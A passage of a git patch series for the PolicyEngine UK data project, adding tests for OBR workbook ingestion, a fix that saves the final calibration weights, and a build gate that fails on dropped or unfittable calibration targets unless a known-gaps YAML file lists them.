+            year: ws[f"{c}{row}"].value * 1e9 for c, year in _FIXED[sheet].items()
+        }
+        assert targets[name].values == pytest.approx(expected), name
+
+
+def _sheet(header_row, first_column, years, values_by_year, unit="£ billion"):
+    wb = openpyxl.Workbook()
+    ws = wb.active
+    ws["A1"] = unit
+    for offset, year in enumerate(years):
+        column = first_column + offset
+        ws.cell(row=header_row, column=column, value=f"{year}-{(year + 1) % 100:02d}")
+        ws.cell(row=12, column=column, value=values_by_year[year])
+    return ws
+
+
+@settings(max_examples=200, deadline=None)
+@given(
+    header_row=st.integers(2, 10),
+    first_column=st.integers(2, 6),
+    first_year=st.integers(2020, 2030),
+    length=st.integers(3, 8),
+    data=st.data(),
+)
+def test_values_follow_their_header_whatever_the_column_order(
+    header_row, first_column, first_year, length, data
+):
+    years = list(range(first_year, first_year + length))
+    order = data.draw(st.permutations(years))
+    values = {year: float(year - 2000) for year in years}
+    ws = _sheet(header_row, first_column, order, values)
+    manifest = obr_sources.ObrManifest(
+        **{**MANIFEST.__dict__, "first_year": years[0], "last_year": years[-1]}
+    )
+    assert read_row(ws, 12, manifest) == {y: v * 1e9 for y, v in values.items()}
+    # Declaring the vintage a year later or earlier than the table fails.
+    for shift in (-1, 1):
+        with pytest.raises(SourceError, match="the manifest declares"):
+            year_columns(ws, years[0] + shift, years[-1] + shift)
+
+
+def test_a_table_without_headers_or_unit_fails():
+    ws = openpyxl.Workbook().active
+    ws["C12"] = 1.0
+    with pytest.raises(SourceError, match="financial-year headers"):
+        year_columns(ws, 2024, 2030)
+    ws = _sheet(
+        5, 3, range(2024, 2031), {y: 1.0 for y in range(2024, 2031)}, unit="£ million"
+    )
+    with pytest.raises(SourceError, match="unit label"):
+        read_row(ws, 12, MANIFEST)
+
+
+def test_a_repeated_or_malformed_year_header_fails():
+    ws = _sheet(5, 3, [2024, 2025, 2025], {2024: 1.0, 2025: 1.0})
+    with pytest.raises(SourceError, match="heads two columns"):
+        year_columns(ws, 2024, 2025)
+    ws = openpyxl.Workbook().active
+    ws["C5"] = "2024-26"
+    with pytest.raises(SourceError, match="not one financial year"):
+        year_columns(ws, 2024, 2024)
+
+
+@pytest.fixture(scope="module")
+def march_targets():
+    return obr.workbook_targets()
+
+
+@settings(
+    max_examples=60,
+    deadline=None,
+    suppress_health_check=[HealthCheck.function_scoped_fixture],
+)
+@given(data=st.data())
+def test_losing_any_year_of_any_target_fails_coverage(march_targets, data):
+    targets = [t for t in march_targets if t.forecast_vintage == MANIFEST.vintage]
+    victim = data.draw(st.sampled_from(targets))
+    year = data.draw(st.sampled_from(sorted(victim.values)))
+    damaged = [
+        t.model_copy(
+            update={"values": {y: v for y, v in t.values.items() if y != year}}
+        )
+        if t is victim
+        else t
+        for t in targets
+    ]
+    problems = coverage_problems(damaged, MANIFEST)
+    assert problems == [f"{victim.name} has no value for {year}"]
+
+
+@settings(
+    max_examples=40,
+    deadline=None,
+    suppress_health_check=[HealthCheck.function_scoped_fixture],
+)
+@given(data=st.data())
+def test_losing_any_required_target_fails_coverage(march_targets, data):
+    name = data.draw(st.sampled_from(MANIFEST.required))
+    problems = coverage_problems([t for t in march_targets if t.name != name], MANIFEST)
+    assert problems == [f"{name} was not built"]
+
+
+def test_a_layout_change_in_the_workbook_fails_the_build():
+    """A renamed row, a formula in a value cell, or a lost self-employed line."""
+    receipts, expenditure = load_workbook("receipts"), load_workbook("expenditure")
+    ws = receipts[obr._find_receipts_sheet(receipts).title]
+    ws[f"B{obr._find_row(ws, 'Value added tax', max_row=80)}"] = "VAT (renamed)"
+    ws49 = expenditure["4.9"]
+    ws49[f"F{obr._find_row(ws49, 'Child benefit', max_row=55)}"] = "=1+1"
+    ws34 = receipts["3.4"]
+    ws34[
+        f"B{obr._find_row(ws34, 'Class 4 and Class 2 Self employed NICs', max_row=40)}"
+    ] = "x"
+    problems = coverage_problems(_workbook_targets(receipts, expenditure), MANIFEST)
+    assert "obr/vat was not built" in problems
+    assert "obr/child_benefit has no value for 2027" in problems
+    assert (
+        "none of obr/ni_self_employed or obr/ni_class_2+obr/ni_class_4 was built"
+        in problems
+    )
+
+
+def test_a_target_missing_from_the_manifest_fails(march_targets):
+    manifest = obr_sources.ObrManifest(
+        **{
+            **MANIFEST.__dict__,
+            "required": tuple(
+                n for n in MANIFEST.required if n != "obr/tv_licence_fee"
+            ),
+        }
+    )
+    assert coverage_problems(march_targets, manifest) == [
+        "obr/tv_licence_fee was built but is not in the manifest"
+    ]
+
+
+def _sources(tmp_path):
+    src = tmp_path / "downloads"
+    src.mkdir()
+    out = {}
+    for kind, entry in MANIFEST.files.items():
+        out[kind] = src / f"{kind}.xlsx"
+        shutil.copyfile(STORAGE_FOLDER / entry.path, out[kind])
+    return out
+
+
+def _ingest(tmp_path, **overrides):
+    (tmp_path / "manifests").mkdir(exist_ok=True)
+    arguments = dict(
+        vintage="copy_2026",
+        label="March 2026",
+        sources=overrides.pop("sources", None) or _sources(tmp_path),
+        urls={k: f.url for k, f in MANIFEST.files.items()},
+        first_year=2024,
+        last_year=2030,
+        current=MANIFEST,
+        storage=tmp_path / "storage",
+        manifest_dir=tmp_path / "manifests",
+        retrieved="test",
+    )
+    arguments.update(overrides)
+    return ingest(**arguments)
+
+
+def test_ingesting_the_same_workbooks_reproduces_the_targets(tmp_path, march_targets):
+    manifest, path, diff = _ingest(tmp_path)
+    assert path.name == "obr_copy_2026.yaml"
+    assert manifest.vintage == "copy_2026"
+    assert {k: f.sha256 for k, f in manifest.files.items()} == {
+        k: f.sha256 for k, f in MANIFEST.files.items()
+    }
+    assert manifest.files["receipts"].path == "obr_efo/copy_2026/receipts.xlsx"
+    assert diff and all(row["old"] == row["new"] for row in diff)
+    again = obr.workbook_targets(manifest, tmp_path / "storage")
+    assert {t.name: t.values for t in again} == {
+        t.name: t.values for t in march_targets
+    }
+    assert {t.forecast_vintage for t in again} == {"copy_2026"}
+
+
+def test_ingest_refuses_a_workbook_that_does_not_name_the_vintage(tmp_path):
+    with pytest.raises(SourceError, match="not the October 2026 EFO receipts"):
+        _ingest(tmp_path, label="October 2026")
+
+
+def test_ingest_refuses_years_the_tables_do_not_head_and_keeps_nothing(tmp_path):
+    with pytest.raises(SourceError, match="the manifest declares 2025 to 2031"):
+        _ingest(tmp_path, first_year=2025, last_year=2031)
+    assert not (tmp_path / "storage" / "obr_efo" / "copy_2026").exists()
+    assert not list((tmp_path / "manifests").iterdir())
+
+
+def test_ingest_refuses_the_page_obr_serves_to_scripts(tmp_path):
+    sources = _sources(tmp_path)
+    sources["receipts"].write_bytes(
+        b"<!DOCTYPE html><html><head><title>No Access</title></head></html>"
+    )
+    with pytest.raises(SourceError, match="download the workbook in a browser"):
+        _ingest(tmp_path, sources=sources)
+
+
+def test_verify_command_passes_on_the_active_manifest(capsys):
+    assert obr_sources.main(["verify"]) == 0
+    assert "both workbooks verified, 25 targets" in capsys.readouterr().out
+
+
+@pytest.mark.parametrize(
+    "change, match",
+    [
+        ({"schema_version": 2}, "schema_version"),
+        ({"unit": "£ million"}, "unit"),
+        ({"first_year": 2031}, "first_year"),
+        ({"targets": {"required": ["obr/vat", "obr/vat"]}}, "twice"),
+        ({"targets": {"required": []}}, "no required"),
+    ],
+)
+def test_malformed_manifests_are_refused(change, match):
+    import yaml
+
+    raw = yaml.safe_load(MANIFEST.path.read_text())
+    raw.update(change)
+    with pytest.raises(SourceError, match=match):
+        parse_manifest(raw)
+
+
+def test_a_bad_hash_in_the_manifest_is_refused():
+    import yaml
+
+    raw = yaml.safe_load(MANIFEST.path.read_text())
+    raw["files"]["receipts"]["sha256"] = "abc"
+    with pytest.raises(SourceError, match="64 hex"):
+        parse_manifest(raw)
diff --git a/policyengine_uk_data/tests/test_obr_universal_credit_target.py b/policyengine_uk_data/tests/test_obr_universal_credit_target.py
index 8fcdb51e..216dd551 100644
--- a/policyengine_uk_data/tests/test_obr_universal_credit_target.py
+++ b/policyengine_uk_data/tests/test_obr_universal_credit_target.py
@@ -75,6 +75,9 @@ def _table(rows: list[tuple]) -> openpyxl.Workbook:
     wb = openpyxl.Workbook()
     ws = wb.active
     ws.title = "4.9"
+    ws["C3"] = "£ billion"
+    for column, year in YEAR_COLUMNS.items():
+        ws[f"{column}5"] = f"{year}-{(year + 1) % 100:02d}"
     for i, (label, value) in enumerate(rows, start=6):
         ws[f"B{i}"] = label
         if value is not None:

From 677f8039feb2b0ccb22548008da715099913591f Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Thu, 15 Oct 2026 07:18:44 -0400
Subject: [PATCH 17/76] Save the calibrated weights from the final optimiser
 step

calibrate_local_areas saved and returned the weights only when
epoch % 10 == 0, so a 512-epoch build shipped the state after step 511
and a 32-epoch build the state after step 31, dropping the last update
(#456). Save at the last epoch too, in both the verbose and the
non-verbose loop, so the saved file, the returned dataset and the
logged fit are the final optimiser state.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 .../final-calibration-weights.fixed.md        |  1 +
 .../tests/test_calibrate_save.py              | 49 +++++++++++++++++++
 policyengine_uk_data/utils/calibrate.py       |  6 ++-
 3 files changed, 54 insertions(+), 2 deletions(-)
 create mode 100644 changelog.d/final-calibration-weights.fixed.md

diff --git a/changelog.d/final-calibration-weights.fixed.md b/changelog.d/final-calibration-weights.fixed.md
new file mode 100644
index 00000000..c29fd86c
--- /dev/null
+++ b/changelog.d/final-calibration-weights.fixed.md
@@ -0,0 +1 @@
+Save and return the calibrated weights from the final optimiser step. Weights were saved only every tenth epoch, so a 512-epoch build shipped the state after step 511 and dropped the last update (#456).
diff --git a/policyengine_uk_data/tests/test_calibrate_save.py b/policyengine_uk_data/tests/test_calibrate_save.py
index b778596e..7a480374 100644
--- a/policyengine_uk_data/tests/test_calibrate_save.py
+++ b/policyengine_uk_data/tests/test_calibrate_save.py
@@ -258,3 +258,52 @@ def get_performance(weights, _m_c, _y_c, m_n, y_n, _excluded_targets):
     assert row["household_is_spi_synthetic_rows"] == 2
     assert row["household_is_spi_synthetic_prior_share"] == pytest.approx(0.5)
     assert row["household_is_spi_synthetic_household_weight"] > 0
+
+
+def _final_state_run(tmp_path, monkeypatch, epochs, verbose):
+    """Calibrate the toy problem, returning (saved, returned, final optimiser weights)."""
+    import h5py
+    import torch
+
+    from policyengine_uk_data.utils import calibrate as calibrate_module
+    from policyengine_uk_data.utils.calibrate import calibrate_local_areas
+
+    monkeypatch.setattr(calibrate_module, "STORAGE_FOLDER", tmp_path)
+    parameters = []
+
+    class SpyAdam(torch.optim.Adam):
+        def __init__(self, params, *args, **kwargs):
+            params = list(params)
+            parameters.extend(params)
+            super().__init__(params, *args, **kwargs)
+
+    monkeypatch.setattr(torch.optim, "Adam", SpyAdam)
+    matrix_fn, national_matrix_fn = _make_toy_inputs(n_households=4, area_count=2)
+    returned = calibrate_local_areas(
+        dataset=_StubDataset(np.array([1.0, 2.0, 3.0, 4.0])),
+        matrix_fn=matrix_fn,
+        national_matrix_fn=national_matrix_fn,
+        area_count=2,
+        weight_file="final.h5",
+        dataset_key="2025",
+        epochs=epochs,
+        verbose=verbose,
+    )
+    with h5py.File(tmp_path / "final.h5", "r") as f:
+        saved = f["2025"][:]
+    # The toy country mask is all ones, so the weights are exp(parameters).
+    (weights,) = parameters
+    final = torch.exp(weights).detach().numpy()
+    return saved, returned.household["household_weight"].to_numpy(), final
+
+
+@pytest.mark.parametrize("verbose", [False, True])
+@pytest.mark.parametrize("epochs", [1, 2, 10, 11, 12, 20, 21, 25])
+def test_saved_and_returned_weights_are_the_final_optimiser_state(
+    tmp_path, monkeypatch, epochs, verbose
+):
+    """#456: weights were saved only when epoch % 10 == 0, so a 512-epoch
+    build shipped the state after step 511 and dropped the last update."""
+    saved, returned, final = _final_state_run(tmp_path, monkeypatch, epochs, verbose)
+    np.testing.assert_array_equal(saved, final)
+    np.testing.assert_allclose(returned, final.sum(axis=0), rtol=1e-6)
diff --git a/policyengine_uk_data/utils/calibrate.py b/policyengine_uk_data/utils/calibrate.py
index f97c4e1e..82221c29 100644
--- a/policyengine_uk_data/utils/calibrate.py
+++ b/policyengine_uk_data/utils/calibrate.py
@@ -476,7 +476,9 @@ def log_performance(
                         calculating_loss=False,
                     )
 
-                if epoch % 10 == 0:
+                # Every tenth epoch, and the last: the weights saved and
+                # returned are the final optimiser state (#456).
+                if epoch % 10 == 0 or epoch == epochs - 1:
                     final_weights = (torch.exp(weights) * r).detach().numpy()
 
                     log_performance(
@@ -516,7 +518,7 @@ def log_performance(
                         f"Loss: {loss_value.item()}, Epoch: {epoch}, {area_name}<10%: {local_close:.1%}, National<10%: {national_close:.1%}"
                     )
 
-            if epoch % 10 == 0:
+            if epoch % 10 == 0 or epoch == epochs - 1:
                 final_weights = (torch.exp(weights) * r).detach().numpy()
 
                 log_performance(

From 39e652a81b4b101894ae0ab270730529d3425b7c Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Thu, 15 Oct 2026 07:23:24 -0400
Subject: [PATCH 18/76] Fail the calibration build on targets it drops or
 cannot fit

create_target_matrix skipped a target whose year did not resolve with no
log line (#456), skipped one whose column raised with a warning, and
accepted columns no household contributes to (#593). It now records each
offered target's status and fails unless every target is in the matrix
with a finite value and signal, or is listed in targets/known_gaps.yaml
under that status with a reason and an issue. Errors and non-finite
values can never be listed; a listed gap that no longer applies is
logged as stale.

known_gaps.yaml lists the 34 gaps measured on uk-data 1.58.1 at the
calibration year 2025: 15 two-child-limit targets dated 2026 only, and
19 targets with no signal. The matrix built is unchanged. The diagnostic
get_loss_results and the CPS transfer reweighting opt out.

`python -m policyengine_uk_data.targets.coverage` reports every target's
status on a dataset (names, statuses and counts only).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 changelog.d/target-coverage-gate.changed.md   |   1 +
 .../targets/build_loss_matrix.py              |  39 ++-
 policyengine_uk_data/targets/coverage.py      | 187 ++++++++++++
 policyengine_uk_data/targets/known_gaps.yaml  |  80 +++++
 .../tests/test_policybench_transfer.py        |   6 +-
 .../tests/test_target_coverage.py             | 284 ++++++++++++++++++
 policyengine_uk_data/utils/loss.py            |   6 +-
 policyengine_uk_data/utils/reweight.py        |   6 +-
 8 files changed, 604 insertions(+), 5 deletions(-)
 create mode 100644 changelog.d/target-coverage-gate.changed.md
 create mode 100644 policyengine_uk_data/targets/coverage.py
 create mode 100644 policyengine_uk_data/targets/known_gaps.yaml
 create mode 100644 policyengine_uk_data/tests/test_target_coverage.py

diff --git a/changelog.d/target-coverage-gate.changed.md b/changelog.d/target-coverage-gate.changed.md
new file mode 100644
index 00000000..769f3a14
--- /dev/null
+++ b/changelog.d/target-coverage-gate.changed.md
@@ -0,0 +1 @@
+Fail the calibration build when a national target is dropped (no value for the year, no column, an error), has a non-finite value, or enters with no household contributing, unless `targets/known_gaps.yaml` lists it with a reason and an issue. Add `python -m policyengine_uk_data.targets.coverage` to report every target's status on a dataset.
diff --git a/policyengine_uk_data/targets/build_loss_matrix.py b/policyengine_uk_data/targets/build_loss_matrix.py
index 98022354..49f22a4c 100644
--- a/policyengine_uk_data/targets/build_loss_matrix.py
+++ b/policyengine_uk_data/targets/build_loss_matrix.py
@@ -17,6 +17,11 @@
 import pandas as pd
 
 from policyengine_uk_data.targets import get_all_targets
+from policyengine_uk_data.targets.coverage import (
+    TargetStatus,
+    check_coverage,
+    column_status,
+)
 from policyengine_uk_data.targets.schema import (
     GeographicLevel,
     Target,
@@ -64,6 +69,7 @@ def create_target_matrix(
     dataset,
     time_period: str = None,
     reform=None,
+    require_coverage: bool = True,
 ) -> tuple[pd.DataFrame, pd.Series]:
     """Create (matrix, target_values) for calibration.
 
@@ -71,12 +77,27 @@ def create_target_matrix(
         dataset: a UKSingleYearDataset instance.
         time_period: calendar year as string; defaults to dataset year.
         reform: optional PolicyEngine reform.
+        require_coverage: fail unless every target is in the matrix with
+            signal or listed in targets/known_gaps.yaml (targets/coverage.py).
 
     Returns:
         (df, targets) where df has one column per target and one row
         per household, and targets is a Series of scalar target values
         indexed by target name.
     """
+    df, targets, statuses = build_target_matrix(dataset, time_period, reform)
+    if require_coverage:
+        check_coverage(statuses)
+    return df, targets
+
+
+def build_target_matrix(dataset, time_period: str = None, reform=None):
+    """The target matrix, its values, and each offered target's status.
+
+    A target that is dropped (no value for the year, no column, an error)
+    or that enters with a non-finite value or column, or with no household
+    contributing, is recorded with that status (targets/coverage.py).
+    """
     from policyengine_uk import Microsimulation
 
     if time_period is None:
@@ -103,22 +124,36 @@ def create_target_matrix(
     df = pd.DataFrame()
     target_names = []
     target_values = []
+    statuses = []
 
     for target in all_targets:
         try:
             val = _resolve_value(target, year)
             if val is None:
+                statuses.append(
+                    TargetStatus(
+                        target.name,
+                        "no_value_for_year",
+                        f"values for {', '.join(str(y) for y in sorted(target.values))}",
+                    )
+                )
                 continue
             col = _compute_column(target, ctx, year)
             if col is None:
+                statuses.append(TargetStatus(target.name, "no_column"))
                 continue
-            df[target.name] = restrict_to_countries(col, ctx.country, target.countries)
+            col = restrict_to_countries(col, ctx.country, target.countries)
+            statuses.append(TargetStatus(target.name, column_status(val, col)))
+            df[target.name] = col
             target_names.append(target.name)
             target_values.append(val)
         except Exception as e:
             logger.warning("Skipping target %s: %s", target.name, e)
+            statuses.append(
+                TargetStatus(target.name, "error", f"{type(e).__name__}: {e}")
+            )
 
-    return df, pd.Series(target_values, index=target_names)
+    return df, pd.Series(target_values, index=target_names), statuses
 
 
 def restrict_to_countries(column, household_country, countries):
diff --git a/policyengine_uk_data/targets/coverage.py b/policyengine_uk_data/targets/coverage.py
new file mode 100644
index 00000000..35bf5729
--- /dev/null
+++ b/policyengine_uk_data/targets/coverage.py
@@ -0,0 +1,187 @@
+"""Required coverage of the national calibration targets.
+
+Every target the registry offers must enter the national loss matrix with
+a finite value and a column that some household contributes to. The
+exceptions are the targets ``targets/known_gaps.yaml`` lists, each with the
+one status it may have, a reason and an issue. ``create_target_matrix``
+checks this, so a build that would calibrate without a target, or against
+one the weights cannot move, fails instead of logging a warning.
+
+    python -m policyengine_uk_data.targets.coverage <dataset.h5> <year> [out.json]
+
+reports every target's status on a dataset: names, statuses and counts only,
+never household values.
+"""
+
+from __future__ import annotations
+
+import json
+import logging
+import sys
+from collections import Counter
+from dataclasses import dataclass
+from pathlib import Path
+from typing import Iterable, Optional, Sequence
+
+import numpy as np
+import yaml
+
+logger = logging.getLogger(__name__)
+
+KNOWN_GAPS_PATH = Path(__file__).with_name("known_gaps.yaml")
+IN_MATRIX = "in_matrix"
+# Statuses a known gap may excuse. An error or a non-finite value is never
+# a known gap: it is a broken target.
+EXCUSABLE = ("no_value_for_year", "no_column", "zero_signal")
+NEVER_EXCUSED = ("error", "non_finite")
+STATUSES = (IN_MATRIX,) + EXCUSABLE + NEVER_EXCUSED
+
+
+class TargetCoverageError(Exception):
+    """The national target matrix is missing targets it must have."""
+
+
+@dataclass(frozen=True)
+class TargetStatus:
+    name: str
+    status: str
+    detail: str = ""
+
+
+@dataclass(frozen=True)
+class KnownGap:
+    status: str
+    targets: frozenset
+    reason: str
+    issue: str
+
+
+def parse_known_gaps(raw) -> list:
+    if (raw or {}).get("schema_version") != 1:
+        raise ValueError("known gaps: schema_version must be 1")
+    gaps, seen = [], set()
+    for index, entry in enumerate(raw.get("gaps") or []):
+        where = f"known gaps[{index}]"
+        if entry.get("status") not in EXCUSABLE:
+            raise ValueError(f"{where}: status must be one of {', '.join(EXCUSABLE)}")
+        if not entry.get("reason") or not str(entry.get("issue", "")).startswith(
+            "https://github.com/"
+        ):
+            raise ValueError(f"{where}: needs a reason and an issue URL")
+        targets = list(entry.get("targets") or [])
+        if not targets:
+            raise ValueError(f"{where}: lists no targets")
+        repeated = seen.intersection(targets) | {
+            t for t, n in Counter(targets).items() if n > 1
+        }
+        if repeated:
+            raise ValueError(f"{where}: {sorted(repeated)} listed twice")
+        seen.update(targets)
+        gaps.append(
+            KnownGap(
+                entry["status"],
+                frozenset(targets),
+                str(entry["reason"]),
+                str(entry["issue"]),
+            )
+        )
+    return gaps
+
+
+def load_known_gaps(path=None) -> list:
+    with open(path or KNOWN_GAPS_PATH) as f:
+        return parse_known_gaps(yaml.safe_load(f))
+
+
+def column_status(value, column) -> str:
+    """A matrix column's status: non-finite, without signal, or fine.
+
+    A column with no non-zero entry has no signal unless its target is
+    zero too: the weights cannot move it.
+    """
+    column = np.asarray(column, dtype=float)
+    if not np.isfinite(value) or not np.isfinite(column).all():
+        return "non_finite"
+    if value != 0 and not np.any(column != 0):
+        return "zero_signal"
+    return IN_MATRIX
+
+
+def coverage_problems(statuses: Sequence[TargetStatus], gaps: Iterable[KnownGap]):
+    """(problems, stale): targets out of place, and known gaps that no longer apply."""
+    gaps = list(gaps)
+    excused = {name: gap.status for gap in gaps for name in gap.targets}
+    problems, matched = [], set()
+    for row in statuses:
+        if row.status == IN_MATRIX:
+            continue
+        if excused.get(row.name) == row.status:
+            matched.add(row.name)
+            continue
+        detail = f" ({row.detail})" if row.detail else ""
+        problems.append(f"{row.name}: {row.status}{detail}")
+    present = {row.name: row.status for row in statuses}
+    stale = []
+    for gap in gaps:
+        for name in sorted(gap.targets - matched):
+            now = present.get(name, "not offered by the registry")
+            stale.append(f"{name}: listed as {gap.status}, now {now}")
+    return problems, stale
+
+
+def check_coverage(
+    statuses: Sequence[TargetStatus], gaps: Optional[Iterable[KnownGap]] = None
+) -> list:
+    """Raise unless every target is in the matrix or a known gap; return stale gaps."""
+    problems, stale = coverage_problems(
+        statuses, load_known_gaps() if gaps is None else gaps
+    )
+    counts = Counter(row.status for row in statuses)
+    logger.info(
+        "Calibration targets: %s",
+        ", ".join(f"{counts[s]} {s}" for s in STATUSES if counts[s]),
+    )
+    for line in stale:
+        logger.warning("Stale known calibration-target gap, remove it: %s", line)
+    if problems:
+        raise TargetCoverageError(
+            f"{len(problems)} calibration targets are missing or cannot be fitted, "
+            "and targets/known_gaps.yaml does not list them: " + "; ".join(problems)
+        )
+    return stale
+
+
+def main(argv=None) -> int:
+    argv = sys.argv[1:] if argv is None else argv
+    if len(argv) not in (2, 3):
+        print(__doc__)
+        return 2
+    from policyengine_uk.data import UKSingleYearDataset
+
+    from policyengine_uk_data.targets.build_loss_matrix import build_target_matrix
+
+    _, _, statuses = build_target_matrix(
+        UKSingleYearDataset(file_path=argv[0]), argv[1]
+    )
+    problems, stale = coverage_problems(statuses, load_known_gaps())
+    report = {
+        "dataset": Path(argv[0]).name,
+        "year": int(argv[1]),
+        "by_status": Counter(row.status for row in statuses),
+        "problems": problems,
+        "stale_known_gaps": stale,
+        "targets": [row.__dict__ for row in statuses],
+    }
+    if len(argv) == 3:
+        Path(argv[2]).write_text(json.dumps(report, indent=1))
+    print(
+        json.dumps(
+            {k: report[k] for k in ("by_status", "problems", "stale_known_gaps")},
+            indent=1,
+        )
+    )
+    return 1 if problems else 0
+
+
+if __name__ == "__main__":
+    sys.exit(main())
diff --git a/policyengine_uk_data/targets/known_gaps.yaml b/policyengine_uk_data/targets/known_gaps.yaml
new file mode 100644
index 00000000..a1e58e17
--- /dev/null
+++ b/policyengine_uk_data/targets/known_gaps.yaml
@@ -0,0 +1,80 @@
+# Calibration targets allowed to stay out of the national loss matrix, or to
+# enter it with no signal. targets/coverage.py fails the build on any other
+# target that is dropped (no value for the year, no column, an error), has a
+# non-finite value or column, or has a column no household contributes to.
+#
+# Each entry names the exact targets, the one status they may have, why and
+# the issue that tracks removing them. Errors and non-finite values are never
+# allowed. An entry that no longer matches is reported as stale: remove it.
+#
+# Measured on uk-data 1.58.1 (enhanced_frs_2024_25.h5, sha256 056e80fd) with
+# policyengine-uk 2.122.2 at the calibration year 2025: of 660 targets, 645
+# enter the matrix, 15 have no value for 2025 and 19 of those entering have
+# no signal.
+schema_version: 1
+gaps:
+  - status: no_value_for_year
+    reason: >-
+      Dated 2026 only. The calibration year is 2025, and _resolve_value does
+      not carry a later year back.
+    issue: https://github.com/PolicyEngine/policyengine-uk-data/issues/456
+    targets:
+      - dwp/uc/two_child_limit/3_children_households
+      - dwp/uc/two_child_limit/3_children_households_total_children
+      - dwp/uc/two_child_limit/4_children_households
+      - dwp/uc/two_child_limit/4_children_households_total_children
+      - dwp/uc/two_child_limit/5_children_households
+      - dwp/uc/two_child_limit/5_children_households_total_children
+      - dwp/uc/two_child_limit/6_children_households
+      - dwp/uc/two_child_limit/6_children_households_total_children
+      - dwp/uc/two_child_limit/adult_pip_children
+      - dwp/uc/two_child_limit/adult_pip_households
+      - dwp/uc/two_child_limit/children_affected
+      - dwp/uc/two_child_limit/children_in_affected_households
+      - dwp/uc/two_child_limit/disabled_child_element_children
+      - dwp/uc/two_child_limit/disabled_child_element_households
+      - dwp/uc/two_child_limit/households_affected
+  - status: zero_signal
+    reason: >-
+      Fewer than 10 records have total income of £1m or more, and they have self-employment income only, so the band's targets for every other income type have no signal.
+    issue: https://github.com/PolicyEngine/policyengine-uk-data/issues/593
+    targets:
+      - hmrc/dividend_income_count_income_band_1_000_000_to_inf
+      - hmrc/dividend_income_income_band_1_000_000_to_inf
+      - hmrc/employment_income_count_income_band_1_000_000_to_inf
+      - hmrc/employment_income_income_band_1_000_000_to_inf
+      - hmrc/private_pension_income_count_income_band_1_000_000_to_inf
+      - hmrc/private_pension_income_income_band_1_000_000_to_inf
+      - hmrc/property_income_count_income_band_1_000_000_to_inf
+      - hmrc/property_income_income_band_1_000_000_to_inf
+      - hmrc/state_pension_count_income_band_1_000_000_to_inf
+      - hmrc/state_pension_income_band_1_000_000_to_inf
+  - status: zero_signal
+    reason: >-
+      No record is aged 85 or over; the oldest records fall in the 80-84 band.
+    issue: https://github.com/PolicyEngine/policyengine-uk-data/issues/593
+    targets:
+      - ons/female_85_90
+      - ons/male_85_90
+  - status: zero_signal
+    reason: >-
+      No band-H household in these regions.
+    issue: https://github.com/PolicyEngine/policyengine-uk-data/issues/593
+    targets:
+      - voa/council_tax/NORTH_EAST/H
+      - voa/council_tax/NORTH_WEST/H
+      - voa/council_tax/YORKSHIRE/H
+  - status: zero_signal
+    reason: >-
+      No record repays an English postgraduate loan.
+    issue: https://github.com/PolicyEngine/policyengine-uk-data/issues/593
+    targets:
+      - slc/student_loan_repayment/england/postgraduate
+  - status: zero_signal
+    reason: >-
+      No couple without children receives UC payments above £27,600 a year.
+    issue: https://github.com/PolicyEngine/policyengine-uk-data/issues/593
+    targets:
+      - dwp/uc_payment_dist/COUPLE_NO_CHILDREN_annual_payment_27_600_to_28_800
+      - dwp/uc_payment_dist/COUPLE_NO_CHILDREN_annual_payment_28_800_to_30_000
+      - dwp/uc_payment_dist/COUPLE_NO_CHILDREN_annual_payment_30_000_to_inf
diff --git a/policyengine_uk_data/tests/test_policybench_transfer.py b/policyengine_uk_data/tests/test_policybench_transfer.py
index a8579c0e..4fa05852 100644
--- a/policyengine_uk_data/tests/test_policybench_transfer.py
+++ b/policyengine_uk_data/tests/test_policybench_transfer.py
@@ -170,7 +170,11 @@ def test_policybench_transfer_calibration_improves_loss(tmp_path: Path):
 def test_policybench_transfer_calibration_uses_iterative_solver(monkeypatch):
     calls = {}
 
-    def fake_create_target_matrix(dataset, time_period, reform=None):
+    def fake_create_target_matrix(
+        dataset, time_period, reform=None, require_coverage=True
+    ):
+        # The transfer dataset is not the Enhanced FRS, so it is not gated.
+        assert require_coverage is False
         return pd.DataFrame(
             [[1.0, 0.0], [0.0, 1.0]],
         ), pd.Series([1.0, 2.0])
diff --git a/policyengine_uk_data/tests/test_target_coverage.py b/policyengine_uk_data/tests/test_target_coverage.py
new file mode 100644
index 00000000..ba48fe25
--- /dev/null
+++ b/policyengine_uk_data/tests/test_target_coverage.py
@@ -0,0 +1,284 @@
+"""Required coverage of the national calibration targets (targets/coverage.py).
+
+create_target_matrix used to skip a target with a warning, or with nothing at
+all when its year did not resolve (#456), and to accept a column no household
+contributes to (#593). These tests pin the gate that replaces that: every
+offered target is in the matrix with signal, or listed in known_gaps.yaml with
+the status it may have.
+"""
+
+from types import SimpleNamespace
+
+import numpy as np
+import pandas as pd
+import pytest
+from hypothesis import given, settings
+from hypothesis import strategies as st
+
+from policyengine_uk_data.targets import build_loss_matrix
+from policyengine_uk_data.targets.coverage import (
+    EXCUSABLE,
+    STATUSES,
+    KnownGap,
+    TargetCoverageError,
+    TargetStatus,
+    check_coverage,
+    column_status,
+    coverage_problems,
+    load_known_gaps,
+    parse_known_gaps,
+)
+from policyengine_uk_data.targets.schema import GeographicLevel, Target, Unit
+
+
+def test_column_status():
+    assert column_status(5.0, [0, 1, 0]) == "in_matrix"
+    assert column_status(5.0, [0, 0, 0]) == "zero_signal"
+    # A zero target met by a zero column needs no signal.
+    assert column_status(0.0, [0, 0, 0]) == "in_matrix"
+    assert column_status(float("nan"), [1, 1]) == "non_finite"
+    assert column_status(5.0, [1, np.inf]) == "non_finite"
+
+
+def test_the_shipped_known_gaps_load_and_cite_issues():
+    gaps = load_known_gaps()
+    assert gaps
+    for gap in gaps:
+        assert gap.status in EXCUSABLE
+        assert gap.issue.startswith("https://github.com/PolicyEngine/")
+        assert gap.reason
+    names = [n for gap in gaps for n in gap.targets]
+    assert len(names) == len(set(names))
+    # The 1.58.1 inventory: 15 two-child-limit targets with no 2025 value, 19
+    # targets without signal.
+    assert sum(len(g.targets) for g in gaps if g.status == "no_value_for_year") == 15
+    assert sum(len(g.targets) for g in gaps if g.status == "zero_signal") == 19
+
+
+@pytest.mark.parametrize(
+    "entry, match",
+    [
+        (
+            {
+                "status": "error",
+                "reason": "x",
+                "issue": "https://github.com/a",
+                "targets": ["t"],
+            },
+            "status",
+        ),
+        (
+            {
+                "status": "non_finite",
+                "reason": "x",
